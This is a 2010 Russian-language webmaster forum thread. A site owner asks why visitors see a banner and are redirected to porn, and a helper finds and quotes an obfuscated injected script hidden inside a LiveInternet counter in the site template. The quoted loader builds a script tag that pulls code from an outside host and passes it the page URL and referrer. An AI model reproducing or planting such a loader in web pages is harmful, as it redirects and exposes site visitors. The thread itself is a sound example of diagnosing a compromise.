Не понятное с сайтом, может вскрыли?

[rbhosting 0]

с www.fermer02.ru чтото не понятное твориться, пользователи жалуются что баннер проскакивает, вроде вскрыли и какой то скрипт воткнули, прошу посмотреть и подсказать в чем может быть проблема...

[Kolbaser 33]

Я не видел баннер, в коде вроде не видно.

[celsoft 6 076]

Прямых зловредных кодов на странице нет, но сайт перекидывает на порно, и проблема есть, поэтому удаляйте все сторонние JS коды, реклама, флешки и прочее.

[rbhosting 0]

скрины этих скриптов, где сидят не могу понять, вроде изрыл, предположительно на форуме гдето.... кто подскажет чем их найти, поиск по коду не чего не дает

Изменено 15 января 2010 пользователем rbhosting

[celsoft 6 076]

О чем я и говорю, зловредный код, у вас во вставленном коде счетчика

 <!--LiveInternet counter--><script type="text/javascript"><!--

document.write("<a href='http://www.liveinternet.ru/click;fermer_all' "+

"target=_blank><img src='http://counter.yadro.ru/hit;fermer_all?t18.15;r"+

escape(document.referrer)+((typeof(screen)=="undefined")?"":

";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?

screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+

";"+Math.random()+

"' alt='' title='LiveInternet: показано число просмотров за 24"+

" часа, посетителей за 24 часа и за сегодня' "+

"border='0' width='88' height='31'><\/a>")

var lankru_html = '';lankru_html += '<scr' + 'ipt language="JavaSc' + 'ript" ';

lankru_html += 'src="http://kn' + 'alru.ru/js.php?id=32240';

lankru_html += '&dd=3&url=' + encodeURIComponent(document.location);

lankru_html += '&ref=' + encodeURIComponent(document.referrer);

lankru_html += '&rnd=' + Math.random() + '"></scr' + 'ipt>';document.write(lankru_html);

//--></script><!--/LiveInternet-->

[/code]

[rbhosting 0]

все устранил спасибо, а как теперь узнать каким образом его туда воткнули, где может быть дырка?

[celsoft 6 076]

все устранил спасибо, а как теперь узнать каким образом его туда воткнули, где может быть дырка?

где он у вас стоял? в шаблоне? смотрите тех кто имеет доступ установке этого кода. Если стояло в шаблоне, значит возможно уязвим ваш доступ по FTP.

[rbhosting 0]

да стаял в главном шаблоне main.tpl